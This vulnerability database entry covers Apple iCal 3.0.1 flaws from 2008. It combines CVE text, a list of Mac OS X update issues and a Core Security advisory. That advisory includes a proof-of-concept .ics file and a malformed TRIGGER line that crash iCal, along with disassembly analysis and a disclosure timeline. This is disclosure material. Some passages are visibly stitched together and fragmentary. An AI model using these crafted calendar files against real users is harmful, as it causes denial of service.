TITLE

Apple Mac OS X of Apple iCal Memory corruption vulnerability

Trust: 0.8

sources: JVNDB: JVNDB-2008-001405

DESCRIPTION

Use-after-free vulnerability in Apple iCal 3.0.1 on Mac OS X allows remote CalDAV servers, and user-assisted remote attackers, to trigger memory corruption or possibly execute arbitrary code via an "ATTACH;VALUE=URI:S=osumi" line in a .ics file, which triggers a "resource liberation" bug. NOTE: CVE-2008-2007 was originally used for this issue, but this is the appropriate identifier. The security update addresses a total of 19 new vulnerabilities that affect the AFP Server, AppKit, Apple Pixlet Video, ATS, CFNetwork, CoreFoundation, CoreGraphics, CoreTypes, CUPS, Help Viewer, iCal, International Components for Unicode, Image Capture, ImageIO, Kernel, Mail, Single Sign-On, and Wiki Server components of Mac OS X. Attackers can leverage this issue to execute arbitrary code with the privileges of the affected application. Successful exploits will compromise the application and possibly the underlying computer. Failed attacks will likely cause denial-of-service conditions. NOTE: This issue was previously covered in BID 29412 (Apple Mac OS X 2008-003 Multiple Security Vulnerabilities) but has been given its own record to better document the vulnerability. I. Further details are available in the US-CERT Vulnerability Notes Database. II. III. IV.

Thanks to all that participated. 1) An error in AFP server allows connected users or guests to access files and directories that are not within a shared directory. 2) Some vulnerabilities in Apache can be exploited by malicious people to conduct cross-site scripting attacks or to cause a DoS (Denial of Service). 3) An unspecified error in AppKit can potentially be exploited to execute arbitrary code when a user opens a specially crafted document file with an editor that uses AppKit (e.g. TextEdit). 4) Multiple unspecified errors exist in the processing of Pixlet video files. 5) An unspecified error exists in Apple Type Services when processing embedded fonts in PDF files. This can be exploited to cause a memory corruption when a PDF file containing a specially crafted embedded font is printed. Successful exploitation may allow execution of arbitrary code. 6) An error in Safari's SSL client certificate handling can lead to an information disclosure of the first client certificate found in the keychain when a web server issues a client certificate request. 7) An integer overflow exists in CoreFoundation when handling CFData objects. This can be exploited to cause a heap-based buffer overflow if an application calls "CFDataReplaceBytes" with an invalid "length" argument. 8) An error due to an uninitialised variable in CoreGraphics can potentially be exploited to execute arbitrary code when a specially crafted PDF is opened. 9) A weakness is caused due to users not being warned before opening certain potentially unsafe content types. 10) An error when printing to password-protected printers with debug logging enabled may lead to the disclosure of sensitive information. 11) Some vulnerabilities in Adobe Flash Player can be exploited by malicious people to bypass certain security restrictions, conduct cross-site scripting attacks, or to potentially compromise a user's system. For more information: SA28083 12) An integer underflow error in Help Viewer when handling help:topic URLs can be exploited to cause a buffer overflow when a specially crafted help:topic URL is accessed. Successful exploitation may allow execution of arbitrary code. 13) A conversion error exists in ICU when handling certain character encodings. This can potentially be exploited bypass content filters and may lead to cross-site scripting and disclosure of sensitive information. 14) Input passed to unspecified parameters in Image Capture's embedded web server is not properly sanitised before being used. This can be exploited to disclose the content of local files via directory traversal attacks. 15) An error in the handling of temporary files in Image Capture can be exploited by malicious, local users to manipulate files with the privilege of a user running Image Capture. 16) A boundary error in the BMP and GIF image decoding engine in ImageIO can be exploited to disclose content in memory. 17) Some vulnerabilities in ImageIO can be exploited by malicious people to cause a DoS (Denial of Service). The vulnerabilities are caused due to the use of vulnerable libpng code. For more information: SA27093 SA27130 18) An integer overflow error in ImageIO within the processing of JPEG2000 images can be exploited to cause a heap-based buffer overflow when a specially crafted JPEG2000 image is viewed. Successful exploitation of this vulnerability may allow execution of arbitrary code. 19) An error in Mail is caused due to an uninitialised variable and can lead to disclosure of sensitive information and potentially execution of arbitrary code when mail is sent through an SMTP server over IPv6. 20) A vulnerability in Mongrel can be exploited by malicious people to disclose sensitive information. For more information: SA28323 21) The sso_util command-line tool requires that passwords be passed to it in its arguments, which can be exploited by malicious, local users to disclose the passwords. 22) An error in Wiki Server can be exploited to determine valid local user names when nonexistent blogs are accessed.

Release mode: Coordinated release *Vulnerability Information* Class: Input Validation Remotely Exploitable: Yes (client-side) Locally Exploitable: No Bugtraq ID: 28629 28632 28633 CVE Name: CVE-2008-1035 CVE-2008-2006 CVE-2008-2007 *Vulnerability Description* iCal is a personal calendar application from Apple Inc. The calendar application can be used as a stand-alone application or as a client-side component to calendar server that lets users create and share multiple calendars and subscribe to other user's calendars. Apple's iCal uses the iCalendar standard for its calendar file format (which uses the '.ics' filename extension) [1] and the CalDAV protocol for calendar sharing [2]. There is a growing number of web sites providing calendars files and open subscription to calendar updates [3][4][5]. The other two vulnerabilities lead to abnormal termination (crash) of the iCal application due to null-pointer dereference bugs triggered while parsing a malformed '.ics' files. Exploitation of these vulnerabilities in a client-side attack scenario is possible with user assistance by opening or clicking on specially crafted '.ics' file send over email or hosted on a malicious web server; or without direct user assistance if a would-be attacker has the ability to legitimately add or modify calendar files on a CalDAV server. *Vulnerable Packages* . iCal version 3.0.1 on MacOS X 10.5.1 (Leopard). *Non-vulnerable Packages* . Available through Apple security updates (see vendor information below). *Vendor Information, Solutions and Workarounds* The following information was provided by the vendor: Availability Apple security updates are available via the Software Update mechanism: http://support.apple.com/kb/HT1338 Apple security updates are also available for manual download via: http://www.apple.com/support/downloads/ Cross-References If you provide cross-referencing information in your advisory please link to the following URL: http://support.apple.com/kb/HT1222 *Credits* These vulnerabilities were discovered and researched by Rodrigo Carvalho, from the Core Security Consulting Services (SCS) team of Core Security Technologies during Bugweek 2007. Additional research was done by Ricardo Narvaja from CORE IMPACT the Exploit Writers Team (EWT). A client-side attack directed to the end-users of the iCal application can be executed by sending an email with a malicious .ics file attachment, by hosting a malicious .ics file on web site and directing users to open it or by injecting a malicous .ics file on a CalDAV enabled server to which potential victims are subscribed to update their calendars automatically. In the three reported cases the vulnerabilities arise from improper validation of input while or after parsing of the calendar file format. 1) Null pointer de-reference #1 (Bugtraq ID 28629, CVE-2008-2006) Improper sanitization of integer input may lead to null pointer dereference and possibly to an application that loses control of its execution, resulting in a denial of service. A vulnerable .ics file will contain the following line: /----------- RRULE:FREQ=DAILY;INTERVAL=1;COUNT=2147483646 - -----------/ The 'COUNT' value causes an integer overflow, which leads to a null pointer dereference when iCal tries to use it after the .ics file is imported. The following Proof of Concept (PoC) file is provided to demonstrate its feasibility, to trigger the bug import a .ics file with the following content and then select one of the created events. /----------- BEGIN:VCALENDAR X-WR-TIMEZONE:America/Buenos_Aires PRODID:-//Apple Inc.//iCal 3.0//EN CALSCALE:GREGORIAN X-WR-CALNAME: Vulnerable VERSION:2.0 X-WR-RELCALID:10DE4203-4FA5-4E23-AE4D-9DAE3157C9E5 METHOD:PUBLISH BEGIN:VTIMEZONE TZID:America/Buenos_Aires BEGIN:DAYLIGHT TZOFFSETFROM:-0300 TZOFFSETTO:-0300 DTSTART:19991003T000000 RDATE:19991003T000000 TZNAME:ARST END:DAYLIGHT BEGIN:STANDARD TZOFFSETFROM:-0300 TZOFFSETTO:-0300 DTSTART:20000303T000000 RDATE:20000303T000000 RDATE:20001231T210000 TZNAME:ART END:STANDARD END:VTIMEZONE BEGIN:VEVENT SEQUENCE:4 DTSTART;TZID=America/Buenos_Aires:20071225T110000 DURATION:PT1H UID:48878014-5F03-43E5-8639-61E708714F9A DTSTAMP:20071213T130632Z SUMMARY:Vuln CREATED:20071213T130611Z RRULE:FREQ=DAILY;INTERVAL=1;COUNT=2147483646 END:VEVENT END:VCALENDAR - -----------/ Analysis of the vulnerability The above proof-of-concept file creates new events in the iCal application . When a user double-clicks on these events the program crashes writing in the memory pointed by pointer 'EDI=0'. Only the value of 'EAX' is under control, must be less than '0x7fffffff' and is extracted from the following line of the PoC '.ics' file. /----------- RRULE:FREQ=DAILY;INTERVAL=1;COUNT=2147483646 (0x7FFFFFFE) - -----------/ /----------- __text:0013C178 push ebp __text:0013C179 mov ebp, esp __text:0013C17B sub esp, 38h __text:0013C17E mov eax, ds:off_1F435C __text:0013C183 mov [ebp+var_4], edi __text:0013C186 mov edi, [ebp+arg_C] __text:0013C189 mov [ebp+var_8], esi __text:0013C18C mov esi, [ebp+arg_8] __text:0013C18F mov [ebp+var_C], ebx __text:0013C192 mov [esp+38h+var_34], eax __text:0013C196 mov eax, [ebp+arg_0] __text:0013C199 mov [esp+38h+var_28], 0 __text:0013C1A1 mov [esp+38h+var_2C], 0 - -----------/ Here is written on '[ebp + var28]' and '[ebp + var2C]' and because 'EBP' is 'ESP' minus '0x38', this is similar to /----------- [ebp + var28] = [esp+0x38+var_28] [ebp + var2C] = [esp+0x38+var_2C] - -----------/ There are located the null-pointers on the stack. /----------- BFFFEF7C var_2C dd 0 BFFFEF80 var_28 dd 0 - -----------/ Upon reaching the function where the crash occurs. /----------- __text:0014ADC3 push ebp __text:0014ADC4 mov ebp, esp __text:0014ADC6 sub esp, 48h __text:0014ADC9 mov eax, ds:stru_1FA2A0.superclass - -----------/ Logically the zeros are still present because don't work with those values until we enter. /----------- BFFFEF7C arg_C dd 0 BFFFEF80 arg_10 dd 0 - -----------/ We see that the function argument 'arg_C' is loaded and moved to 'EDI'. /----------- 0014ADE0 mov edi, [ebp+arg_C] - -----------/ And this is the location where is written at the moment of crashing further ahead, meaning that it is a zero that can't be changed. /----------- 0014AE2F mov dword ptr [edi], 0 - -----------/ When getting closer to the point of crash because we control 'EAX' and we can trigger a jump after comparing with '[ebx+0Ch]' and '[ebx+08h]'. /----------- 0014AE20 cmp eax, [ebx+0Ch] (if it is lower than 1) 0014AE23 jl short loc_14AE2F 0014AE25 cmp eax, [ebx+8] (if it is lower than 0x270F) 0014AE2D jle short loc_14AE37 169280B8 dd 270Fh (ebx+08) 169280BC dd 1 (ebx+0C) - -----------/ The first comparison for 'JL' doesn't avoid the crash zone, but anyway negative numbers can't be inserted by default and a zero value does not crash the program or even gets it near the critical zone. Any other value crashes the application when writing in the null location. In the other case a comparison is made such that if 'EAX' is less than '0x270f' the crash zone is avoided and the program continues to work without problem. Negative values are not read and if a value greater than '0x7fffffff' the maximum value is used instead. 2) Null pointer dereference #2 (Bugtraq ID 28632, CVE-2008-2006) A vulnerable .ics file will contain the following line: /----------- TRIGGER:-PT65535H - -----------/ The 'TRIGGER' value causes a null pointer dereference when iCal tries to use it after the .ics file is imported.

CORE-2008-0123 will address the vulnerability in iCal server (CVE-2008-1000) and will be published in coordination with the release of the vendor's March software update. The publication date for the second advisory, will dealt bydealing with the three vulnerabilities in the iCal client application will be coordinated for a date after the March update unless there are clear indications of the vulnerability being exploited in the wild, in which case if Core considers that the information provided in the advisory would help end users to decide how to react the advisory would be published sooner as a "forced release". 2008-03-03: Core requests update info on the vulnerability, a concrete release schedule and text for the advisory section called "Vendor Information, Solutions and Workarounds". 2008-03-04: Vendor provides information concerning CVE-2008-1000 and indicates that the bug is in the Wiki server and not the iCal Server. 2008-03-13: Core re-schedules the publication to March 24th and requests the vendor an update on the coordinated date of disclosure. The remaining three vulnerabilities in the iCal client application will be dealt by a second security advisory (CORE-2008-0126) to be published after the release of the March software update. Publication of CORE-2008-0126 is initially slated for March 24th 2008 but the final date estimation can be discussed further with the vendor based on its estimated date for fixes. 2008-03-18: APPLE-SA-2008-0318 software update released. 2008-03-18: CORE-2008-0123 is published. 2008-03-18: Vendor informs that will track the first two issues as crasher-only bugs but still intends to address them. Further details to determine if the null pointer de-reference bugs are exploitable are requested. The vendor will continue to track the third as a security bug and estimates early April for the release of the software update that fix them. Additional timing information will be provided closer to the estimated date. 2008-03-18: Core re-schedules the publication to April 7th and indicates that should any new details about the vulnerabilities become available they will be forwarded to the vendor. 2008-04-04: Core requests a more precise date of release of the fixes to coordinate the publication and recommends the vendor to consider the three as security bugs because it couldn't be proved that in this case the integer overflows can't be exploited. 2008-04-07: Vendor requests that Core to postpone the advisory publication until the fix is available. 2008-04-07: Core requests a more precise date of release of the fixes to coordinate the new publication date. 2008-04-07: Vendor informs that the estimated date for the update is near the end of April. 2008-04-08: Core confirms that coordinating the publication of CORE-2008-0126 for April 28th is acceptable. 2008-04-16: Core requests an update on the release date of the fixes. 2008-04-17: Vendor states that end of April is still the estimated date and provides more details that explain why the first two bugs are been considered null-pointer dereference bugs only. A value range verification is performed and out-of-range values branch execution flow to instructions that assign NULL to a pointer which later triggers a null pointer de-reference that causes the application to crash. the root cause of the crash is a NULL pointer de-reference and not an integer overflow. 2008-04-17: Core confirms that the two first bugs can be considered crashes due to null-pointer dereference. Upon further research it is confirmed that integer overflows are detected and do not cause the actual crashes. 2008-04-17: Vendor asks confirmation that the first two bugs have no security related consequences. 2008-04-17: Core responds that the three bugs still have security related consequences. The first two bugs can be abuse to execute denial of service attacks by untrusted and unauthenticated third parties specifically using public server as attack vector. Core considers bug that allow unauthenticated third parties to be security vulnerabilities. Core indicates that exploitation of null pointer de-reference bugs cannot be ruled out generically, a statement which could be derived from Rice's theorem. 2008-04-25: Core requests an update on the release date of the fixes and sends detailed information on the analysis of the first bug. 2008-04-27: Vendor estimates early May as the date of the software fixes release. 2008-05-05: Core informs the vendor that it's re-scheduling the publication to May 12th as a final date unless precise information is given on the release date of the fixes. 2008-05-06: Vendor responds precising that the fixes are being released sometime the following week. 2008-05-07: Core states that it is not willing to re-schedule publication date unless the vendor commits to a concrete date. 2008-05-10: Vendor asks Core not to publish the advisory before Apple security update is available. Vendor indicates that fixes will be released on May 19th, 2008. 2008-05-10: Given that the vendor has communicated a concrete date, Core will discuss re-scheduling (for the fifth time) the publication date of the advisory. 2008-05-12: Core communicates the vendor that the publication of the advisory is re-scheduled to May 21th, that date is final. 2008-05-14: Vendor acknowledges reception of the last email and appreciates that Core posponed the advisory publication date. 2008-05-20: Core send the final draft of the advisory to the vendor. 2008-05-21: An edited and corrected final version of the advisory is sent to the vendor. 2008-05-21: Advisory CORE-2008-0126 is published. *References* [1] RFC 2445: Internet Calendaring and Scheduling Core Object Specification (iCalendar) - http://tools.ietf.org/html/rfc2445 [2] RFC 4791: Calendaring Extensions to WebDAV - http://tools.ietf.org/html/rfc4791 [3] http://www.apple.com/downloads/macosx/calendars/ [4] iCalShare http://icalshare.com/ [5] iCalWorld http://www.icalworld.com/ *About CoreLabs* CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies.
